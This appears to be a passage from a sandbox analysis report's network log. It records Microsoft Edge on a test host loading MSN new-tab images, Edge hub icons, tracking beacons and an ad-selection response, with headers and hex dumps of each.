2024-11-25 02:39:56 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49821	104.117.182.32	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:55 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:56 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=315235 Expires: Thu, 28 Nov 2024 18:13:50 GMT Date: Mon, 25 Nov 2024 02:39:55 GMT Connection: close
2024-11-25 02:39:56 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49824	104.117.182.32	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:55 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:56 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=125301 Expires: Tue, 26 Nov 2024 13:28:16 GMT Date: Mon, 25 Nov 2024 02:39:55 GMT Connection: close
2024-11-25 02:39:56 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49820	104.117.182.32	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:55 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:56 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=412596 Expires: Fri, 29 Nov 2024 21:16:31 GMT Date: Mon, 25 Nov 2024 02:39:55 GMT Connection: close
2024-11-25 02:39:56 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49825	18.239.168.24	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:55 UTC	1012	OUT	GET /b2?rn=1732502392390&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=05128E14A2366A7423409B56A39E6B9C&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1257dd61d716b0d2e7f3d941732502393; XID=1257dd61d716b0d2e7f3d941732502393
2024-11-25 02:39:56 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Mon, 25 Nov 2024 02:39:56 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 98a2408b3b4b69a27b379f8fee01d49a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BOS50-P3 X-Amz-Cf-Id: nlYHAs9UXYofK1tnIsujcO9DumkeoNENFFCgg8ATpbNHtHCThPeEFQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49819	13.107.246.40	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:56 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:56 UTC	523	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:56 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: b62109b6-801e-005f-09e3-3e9af9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T023956Z-178bfbc474bpnd5vhC1NYC4vr400000006rg00000000krn1 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-25 02:39:56 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49826	13.107.246.40	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:56 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:56 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 02:39:56 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 9d84fa81-201e-0034-192a-3dc7af000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T023956Z-178bfbc474bbbqrhhC1NYCvw7400000006y000000000fnp5 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 02:39:56 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49827	20.110.205.119	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:56 UTC	1261	OUT	GET /c.gif?rnd=1732502392389&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=4f3640592da945fb8e4139e5d56ce40e&activityId=4f3640592da945fb8e4139e5d56ce40e&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=E6E83DFB2105462D923471FC65B8331A&MUID=05128E14A2366A7423409B56A39E6B9C HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=05128E14A2366A7423409B56A39E6B9C; _EDGE_S=F=1&SID=01BE231233A76E8E38A73650320E6F90; _EDGE_V=1; SM=T
2024-11-25 02:39:56 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=05128E14A2366A7423409B56A39E6B9C; domain=.msn.com; expires=Sat, 20-Dec-2025 02:39:56 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=05128E14A2366A7423409B56A39E6B9C; domain=c.msn.com; expires=Sat, 20-Dec-2025 02:39:56 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Mon, 02-Dec-2024 02:39:56 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Mon, 25-Nov-2024 02:49:56 GMT; path=/; SameSite=None; Secure; Date: Mon, 25 Nov 2024 02:39:56 GMT Connection: close Content-Length: 42
2024-11-25 02:39:56 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49832	23.96.180.189	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:57 UTC	1010	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=05128E14A2366A7423409B56A39E6B9C&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=a67c81e765264bccd9e6f6a6a725e25c HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=05128E14A2366A7423409B56A39E6B9C; _EDGE_S=F=1&SID=01BE231233A76E8E38A73650320E6F90; _EDGE_V=1; _C_ETH=1
2024-11-25 02:39:58 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2649 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425505581-T700376468-C128000000002316809+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002316809+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Mon, 25 Nov 2024 02:39:57 GMT Connection: close
2024-11-25 02:39:58 UTC	2649	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 48 6f 74 73 70 6f 74 73 5c 22 2c 5c 22 75 5c 22 3a 5c 22 4d 53 4e 41 6e 61 68 65 69 6d 4e 65 77 73 4e 54 50 49 6d 61 67 65 73 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 74 69 74 6c 65 5c 22 3a 5c 22 42 6f 6c 7a 61 6e 6f 2c 20 53 6f 75 74 68 20 54 79 72 6f 6c 2c 20 49 74 61 6c 79 5c 22 2c 5c 22 63 74 61 5c 22 3a 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 5c 2f 73 65 61 72 63 68 3f 71 3d 42 6f 6c Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"MSNAnaheimNewsNTPImageHotspots\",\"u\":\"MSNAnaheimNewsNTPImages\"}],\"ad\":{\"title\":\"Bolzano, South Tyrol, Italy\",\"cta\":\"https:\/\/www.bing.com\/search?q=Bol

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49835	104.117.182.32	443	7540	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 02:39:58 UTC	634	OUT	GET /tenant/amp/entityid/BB1msKEt.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 02:39:59 UTC	519	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msKEt Last-Modified: Thu, 21 Nov 2024 20:14:38 GMT X-Source-Length: 81045 X-Datacenter: eastus X-ActivityId: 1002dc85-c0f7-4f17-b105-1e1613a0df9a Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 81045 Cache-Control: public, max-age=149623 Expires: Tue, 26 Nov 2024 20:13:41 GMT Date: Mon, 25 Nov 2024 02:39:58 GMT Connection: close
2024-11-25 02:39:59 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
